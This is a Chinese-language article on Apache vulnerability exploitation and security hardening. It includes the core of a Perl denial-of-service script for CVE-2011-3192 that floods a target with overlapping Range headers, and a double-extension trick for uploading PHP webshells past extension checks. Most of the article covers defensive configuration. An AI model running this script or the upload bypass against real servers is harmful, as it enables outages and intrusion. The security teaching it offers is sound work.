Apache漏洞利用與安全加固實例分析


Apache 作為Web應用的載體,一旦出現安全問題,那么運行在其上的Web應用的安全也無法得到保障,所以,研究Apache的漏洞與安全性非常有意義。本文將結合實例來談談針對Apache的漏洞利用和安全加固措施。

Apache HTTP Server(以下簡稱Apache)是Apache軟件基金會的一個開放源碼的網頁服務器,可以在大多數計算機操作系統中運行,是最流行的Web服務器軟件之一。雖然近年來Nginx和Lighttpd等Web Server的市場份額增長得很快,但Apache仍然是這個領域中獨一無二的巨頭,互聯網上大多數的Web應用依然運行在Apache上。

Apache漏洞分析

Apache HTTP Server畸形Range選項處理遠程拒絕服務漏洞

CVE漏洞編號:CVE-2011-3192

影響版本:Apache 2.x、Apache 1.3

漏洞描述:Apache HTTP Server在處理Range選項生成回應時存在漏洞,遠程攻擊者可能利用此漏洞通過發送惡意請求導致服務器失去響應,導致拒絕服務。

此漏洞源於Apache HTTP Server在處理Range頭選項中包含的大量重疊范圍指定命令時存在的問題,攻擊者可通過發送到服務器的特制HTTTP請求耗盡系統資源,導致Apache失去響應,甚至造成操作系統資源耗盡。

漏洞利用原理:HTTP請求中的Range選項定義了資源文件的分片請求方式,一般常用於網絡的斷點續傳功能。攻擊者通過在HTTP請求的Range選項中設置大量重疊的范圍指定命令,Apache在處理這樣的請求時需要消耗大量的CPU和內存資源,導致Apache失去響應,甚至造成操作系統資源耗盡。這樣,攻擊者可以利用較小的代價實現對目標服務器的拒絕服務攻擊,該漏洞利用簡單,且影響范圍巨大。
漏洞分析:我們先來看下攻擊者構造的惡意數據包,如下圖1:

圖1

從上圖我們可以看到攻擊者在HTTP請求的Range處設置了大量重疊的范圍,下面我們來看漏洞利用代碼的核心部分:

/*建立進程*/

$pm = new Parallel::ForkManager($numforks);

$|=1;

srand(time());

/*默認設置分片數值為1300*/

$p = "";

for ($k=0;$k<1300;$k++) {

$p .= ",5-$k";

}

/*按用戶輸入的攻擊次數循環執行攻擊*/

for ($k=0;$k<$numforks;$k++) {

my $pid = $pm->start and next;

/*構造攻擊數據包*/

my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],

PeerPort => "80",

Proto    => 'tcp');

$p = "HEAD / HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-$p\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n";

print $sock $p;

while(<$sock>) {

}

$pm->finish;

}

$pm->wait_all_children;

print ":pPpPpppPpPPppPpppPp\n";

}

OK,在了解了該漏洞的利用原理后,我們通過一個實例來檢驗下攻擊效果。先來看目標服務器未受到攻擊前的資源占用情況,如下圖2:

圖2

現在我們來對目標服務器發起攻擊,如圖3。從圖4中可以看到CPU和內存占用率飆升。

圖3

圖4

漏洞修復:將Apache版本升級到2.2.20或以上版本。

Apache文件名解析特性

Apache對於文件名的解析是從后往前解析的,直到遇見一個它認識的文件類型為止。因此,如果web目錄下存在以類似webshell.php.test這樣格式命名的文件,Apache在解析時因為不認識.test這個文件類型,所以會一直往前解析,當解析到.php時,它認識了,因此會將它解析為PHP文件。

Apache的這種解析特性經常被用來繞過Web應用的文件上傳檢測。當Web應用的文件上傳功能在檢測上傳文件的合法性時,如果僅通過檢測上傳文件的擴展名來判斷文件是否合法,就可以利用Apache的這種文件名解析特征繞過Web應用的檢測。

下面來看一個實例:目標網站后台存在一個上傳圖片的功能,只允許上傳JPG和GIF圖片格式的文件。但程序在驗證上傳文件合法性處存在漏洞,只是簡單地通過上傳文件擴展名來確定文件是否合法,這時我們就可以利用Apache的文件名解析特征來繞過這種檢測。
將文件名修改為類似phpshell.php.jpg這樣的格式上傳,發現繞過了檢測,文件被成功上傳到目標網站,如圖5。

圖5

可以在httpd.conf配置文件中添加以下內容來阻止Apache解析這種文件。

<Files ~ "\.(php.)">

Order Allow,Deny

Deny from all

</Files>

修改后需要重啟Apache服務生效。

這樣即使攻擊者上傳了類似phpshell.php.jpg這樣格式的文件,Apache也不會將它解析為PHP文件了,如圖6。

圖6

安全加固

Apache的安全加固我們主要從以下兩點考慮:一是Apache Web Server本身是否安全,比如是否存在安全漏洞;二是Apache Web Server是否提供了可使用的安全功能,這部分主要是檢查Apache的配置是否得當,在安全性、可用性、穩定性之間取得平衡。

Apache版本的選擇與安裝注意事項

檢查目前使用的Apache版本是否存在安全漏洞,如果存在,需要升級到新的安全版本。在選擇Apache的版本時,我們一般選擇最新的穩定版本。這樣可以在安全性和穩定性之間取得一個很好的平衡。從低版本升級到高版本時,建議先在測試環境中測試通過后再進行升級,以避免由於兼容性帶來的問題。

在安裝時使用自定義的安裝路徑,並配置使用自定義的WEB目錄。

Apache安全配置

1. Apache降權

這個工作只針對運行在Windows平台上的Apache,因為在Windows環境下,Apache默認以System權限運行,這樣的后果是一旦成功入侵WEB應用,將直接得到一個高權限的Webshell,如圖7。

圖7

現在我們來對Apache進行降權操作。首先新建一個用戶,設置復雜的密碼,並且讓它不屬於任何用戶組,如圖8。

圖8

接着打開“本地安全策略”--->“本地策略”--->“用戶權限分配”,找到“作為服務登錄”項,把剛剛新建的用戶添加進去,如圖9。

圖9

然后打開“服務”組件,找到Apache 的服務,右鍵“屬性”--->“登錄”,用剛新建的apache 賬戶運行Apache 服務,如圖10。

圖10

再找到Apache 日志目錄,為apache 賬戶分配“讀取”和“寫入”權限,否則Apache 服務不能啟動,如圖11。

圖11

配置好后,重啟Apache 服務生效,現在Apache 服務就已apache 低權限賬戶運行了,如圖12。

圖12

Linux環境下不必關心這個問題,Apache主進程以root 權限啟動,子進程默認是以apache、daemon或其他用戶身份運行的,這是一個低權限用戶。

2. 只加載必要的Module(模塊)

Apache有很多官方與非官方的Module,很多漏洞都是由於Apache的Module造成的。所以我們需要檢查Apache的Module安裝情況,根據“最小權限原則”,應該盡可能地減少不必要的Module,對於要使用的Module,則檢查其對應版本是否存在已知的安全漏洞。可以在httpd.conf中配置需要加載或禁用的Module。

3. Apache日志安全設置

不論在那種服務器上,日志都是一個非常重要的部分,我們需要對它嚴加保護。在Apache上也是如此。首先要修改日志的默認保存路徑,然后設置只允許管理員有日志保存目錄的完全控制權限,如圖13。

圖13

4. 網站目錄權限配置

原則:目錄有寫入權限,一定不要分配執行權限;目錄有執行權限,一定不要分配寫入權限。

網站上傳目錄和數據庫目錄一般需要分配“寫入”權限,但一定不要分配執行權限。其他目錄一般只分配“讀取”和“記錄訪問”權限即可。

5. 關閉Apache的目錄瀏覽功能

如果Apache采用默認配置,當WEB目錄下不存在默認索引頁面(如index.html)時,會將當前目錄下的所有文件和目錄都列出來,這是十分危險的,如圖14。

圖14

可以通過以下兩種方法來關閉目錄瀏覽功能:

a.打開httpd.conf配置文件,查找“Options Indexes FollowSymLinks”,修改為“Options -Indexes”,然后保存並重啟Apache服務生效

b.修改.htaccess文件——在.htaccess文件里加入“Options -Indexes”(沒有雙引號)就可以阻止目錄列表的顯示了。

這樣以后再訪問不存在默認索引頁面的目錄時,Apache將會返回403錯誤頁面,如圖15。

圖15

6. 修改Apache默認banner信息

Apache的banner會泄露服務器的操作系統和Apache版本等相關信息,如圖16和圖17,而這些信息對攻擊者是非常有用的,我們需要修改默認配置來阻止這些信息的泄露。

圖16

圖17

打開httpd.conf配置文件,找到ServerTokens和ServerSignature,將它們的值分別修改為Prod和Off,修改后的效果如下圖18和圖19。

圖18

圖19

總結

通過上面對Apache漏洞和安全加固的實例分析,相信讀者對Apache HTTP Server的漏洞和安全加固都有了更加深入的認識。其實Apache的安全加固並不難,很多時候更重要的是管理員的安全意識,只要有足夠的安全意識,加上上面介紹的安全加固方法,相信你一定可以打造一個安全的Apache HTTP Server。

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM